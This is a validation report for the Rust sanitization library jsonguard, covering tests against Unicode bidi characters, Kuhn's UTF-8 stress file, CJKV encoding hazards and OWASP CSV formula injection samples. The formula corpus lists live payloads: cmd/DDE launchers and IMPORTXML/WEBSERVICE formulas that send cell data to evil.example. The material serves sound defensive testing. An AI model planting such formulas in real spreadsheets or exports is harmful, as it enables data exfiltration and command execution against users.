Skip to content

Validation Report

Correctness analysis of jsonguard against authoritative external attack corpora. Every claim here is reproducible from the test suite via cargo test --test real_world_samples.

Test Environment

Component Version Source
jsonguard 0.2.0 (167 tests) crates.io
Rust (rustc) 1.75+ (MSRV) rustup.rs
Platform macOS Darwin 24.6.0, arm64

Methodology

Each attack class is validated in two independent ways:

  1. inspect() — passive scan that returns Findings with per-violation byte_offset and char. Confirms the dangerous pattern is detected before sanitization.
  2. Output sanitizers (csv_field, tsv_safe, jsonl_safe, display_safe) — confirms that the sanitized output no longer contains the dangerous pattern.

Both must hold for a claim to pass. A sanitizer that strips without detection (or detects without sanitizing) is flagged as a gap.

Integration tests are in tests/real_world_samples.rs. Corpus files are embedded at compile time via include_str! / include_bytes! and committed to the repository so CI never fetches them at test time.


Corpus 1 — Unicode Bidi Control Characters

Source

File Size URL
tests/corpus/BidiCharacterTest.txt 6,880,771 bytes Unicode UCD 17.0.0
tests/corpus/BidiTest.txt 7,959,988 bytes Unicode UCD 17.0.0
tests/corpus/bidi_samples.txt 174 bytes Handcrafted attack strings with embedded real codepoints

BidiCharacterTest.txt is the Unicode Consortium's official conformance test for the Unicode Bidirectional Algorithm (UBA, Unicode TR#9). Each data line specifies a codepoint sequence, paragraph direction, resolved embedding levels, and expected reorder indices. We extract lines whose codepoint sequence contains U+202E (RIGHT-TO-LEFT OVERRIDE) and reconstruct the strings from the hex fields.

What is tested (8 tests)

Test Assertion
bidi_char_test_loads File is ≥ 1,000 data lines (corpus integrity sanity check)
inspect_detects_bidi_in_rlo_corpus_lines First 50 UCD lines containing U+202E: inspect().has_bidi() == true, is_csv_safe() == false, is_display_safe() == false
display_safe_strips_rlo_from_corpus_lines First 20 UCD RLO lines: U+202E absent from display_safe() output
csv_field_sanitizes_rlo_from_corpus_lines First 20 UCD RLO lines: U+202E absent from csv_field() output
jsonl_safe_encodes_rlo_as_unicode_escape First 10 UCD RLO lines: no raw U+202E; \u202e present as JSON escape
bidi_samples_file_loads Handcrafted file is ≥ 50 bytes (corpus integrity sanity check)
inspect_detects_bidi_in_all_attack_samples Every line in bidi_samples.txt containing a bidi codepoint is flagged by inspect()
display_safe_strips_bidi_from_attack_samples Every line in bidi_samples.txt: none of the 10 known bidi codepoints appear in display_safe() output

Bidi codepoints tested

U+200E (LRM), U+200F (RLM), U+202A–U+202E (LRE, RLE, PDF, LRO, RLO), U+2066–U+2069 (LRI, RLI, FSI, PDI), U+061C (Arabic Letter Mark).


Corpus 2 — OWASP Formula Injection Payloads

Source

File Size URL
tests/corpus/formula_injection.csv 293 bytes OWASP CSV Injection

Samples:

=HYPERLINK("https://evil.example","Click here")
=cmd|'/C calc'!A0
+cmd|'/C calc'!A0
-2+3+cmd|'/C calc'!A0
@SUM(1+1)*cmd|'/C calc'!A0
=IMPORTXML(CONCAT("http://evil.example/steal?",CONCATENATE(A2:E2)),"//")
=WEBSERVICE("https://evil.example/?data="&A1)
DDE("cmd","/C calc","__DDE_Remote")

What is tested (5 tests)

Test Assertion
formula_csv_loads File has ≥ 7 samples (corpus integrity sanity check)
inspect_flags_all_formula_lines Every line starting with = + - @: has_formula() == true, is_csv_safe() == false. ≥ 6 such lines confirmed.
csv_field_sanitizes_all_formula_lines First non-quote character of csv_field() output is ' (apostrophe guard) for all formula lines
tsv_safe_sanitizes_all_formula_lines First character of tsv_safe() output is ' for all formula lines
dde_line_not_flagged_as_formula DDE(...) line (first char D) is NOT flagged as FormulaInjection; csv_field() does NOT prepend apostrophe

Known detection limit

DDE (Dynamic Data Exchange) attacks that do not start with = + - @ are not caught by inspect().has_formula() — the first-char heuristic follows spreadsheet conventions for formula detection. csv_field() still properly quotes and escapes the field content, preventing column injection. Applications handling DDE-sensitive targets (Microsoft Excel on Windows) should add application-level DDE detection on top of jsonguard.


Corpus 3 — Markus Kuhn UTF-8 Stress Test

Source

File Size URL
tests/corpus/UTF-8-test.txt 22,781 bytes Markus Kuhn, Cambridge

Kuhn's stress test is the canonical external reference for UTF-8 decoder robustness. It contains deliberately invalid sequences across every known category of UTF-8 malformation. std::str::from_utf8 rejects the file (verified statically by the compiler), confirming the corpus is genuinely invalid.

What is tested (5 tests)

Test Assertion
utf8_test_file_loads File is ≥ 10,000 bytes (corpus integrity sanity check)
inspect_reports_invalid_utf8_in_stress_test inspect(bytes).has_invalid_utf8() == true; lossy == true
inspect_reports_multiple_invalid_sequences_in_stress_test ≥ 10 distinct InvalidUtf8 violations (not just one catch-all)
display_safe_handles_stress_test_file display_safe(bytes) does not panic; lossy == true; output is a valid Rust String
jsonl_safe_produces_valid_json_string_for_stress_test Output starts and ends with ". Every \ in the inner content is followed by a valid JSON escape character (", \, /, b, f, n, r, t, u). No raw unescaped backslash can appear.

Corpus 4 — CJKV Encoding Hazards and Malformed UTF-8

Source

Handcrafted inline byte sequences, each drawn from Kuhn's taxonomy or documented CJKV encoding hazards.

Sequence Description Source
\xB3\x5C Big5 encoding of 許 — second byte is ASCII \ Big5 code chart
\xD0\xC2\x5C GBK sequence ending in \x5C GBK encoding tables
\xC0\x80 Overlong encoding of U+0000 (NUL) RFC 3629 §10
\xED\xA0\x80 Surrogate U+D800, banned by RFC 3629 RFC 3629 §3
\xF4\x90\x80\x80 Above U+10FFFF (maximum Unicode codepoint) Unicode §2.4
\xFF\xFE UTF-16 BOM bytes — invalid UTF-8 UTF-8 definition
\x80 Isolated continuation byte without lead byte Kuhn §4.1

What is tested (12 tests)

Test Assertion
inspect_flags_big5_as_invalid_utf8 \xB3\x5C: has_invalid_utf8() == true, lossy == true
inspect_flags_gbk_as_invalid_utf8 \xD0\xC2\x5C: has_invalid_utf8() == true, lossy == true
jsonl_safe_big5_no_raw_backslash_hazard jsonl_safe(b"\xB3\x5C"): every \ in output is a valid JSON escape. The 0x5C byte that survived lossy decode as ASCII \ must be re-escaped as \\. lossy == true.
jsonl_safe_gbk_no_raw_backslash_hazard Same invariant for \xD0\xC2\x5C
csv_field_big5_no_raw_backslash_in_output csv_field(b"\xB3\x5C"): lossy == true (caller is informed)
display_safe_big5_strips_no_extra_ascii display_safe(b"\xB3\x5C"): does not panic; lossy == true
inspect_overlong_nul_c0_80 \xC0\x80: has_invalid_utf8() == true
inspect_surrogate_ed_a0_80 \xED\xA0\x80: has_invalid_utf8() == true
inspect_above_unicode_max_f4_90_80_80 \xF4\x90\x80\x80: has_invalid_utf8() == true
inspect_ff_fe_bom_like \xFF\xFE: has_invalid_utf8() == true
inspect_isolated_continuation_byte \x80: has_invalid_utf8() == true
inspect_valid_utf8_str_not_flagged "hello", "許功蓋", "Ünïcödé", "日本語", "😀": has_invalid_utf8() == false, lossy == false (no false positives)

The CJKV backslash hazard (why this matters)

Big5-encoded 許 is the bytes \xB3\x5C. When a naive system reads these bytes and writes them into a JSON or CSV string without first validating UTF-8, the \x5C byte appears as a raw backslash. In JSON, a raw unescaped backslash is illegal and produces parser errors or injection. In CSV, a backslash before a quote can break field boundary parsing in non-RFC-4180-compliant readers.

jsonguard's defence is the decode-first architecture: GuardInput for &[u8] runs String::from_utf8_lossy before any sanitizer sees the bytes. \xB3 becomes U+FFFD and \x5C becomes the Unicode character \ (U+005C). jsonl_safe then escapes U+005C as \\, and csv_field never sees a raw byte — only a Unicode code point. The lossy == true flag signals that the input had undecodable bytes, allowing callers to log or reject records where data fidelity is critical.


Summary

Attack class Corpus lines tested inspect() Sanitizer
Bidi override (U+202E) 50 (UCD 17) ✓ strip/escape
Bidi override (all 10 codepoints) 8 handcrafted ✓ strip
Formula injection (= + - @) 7 (OWASP) '-prefix
DDE (no formula trigger) 1 n/a (documented limit) ✓ quoted/escaped
Invalid UTF-8 (Kuhn stress test) 22,781 bytes ✓ (≥10 distinct) ✓ no panic
Big5 \x5C second byte inline ✓ backslash re-escaped
GBK \x5C second byte inline ✓ backslash re-escaped
Overlong NUL (\xC0\x80) inline
Surrogate (\xED\xA0\x80) inline
Above U+10FFFF inline
BOM-like (\xFF\xFE) inline
Isolated continuation (\x80) inline
Valid UTF-8 (false positive check) 5 strings ✓ no false pos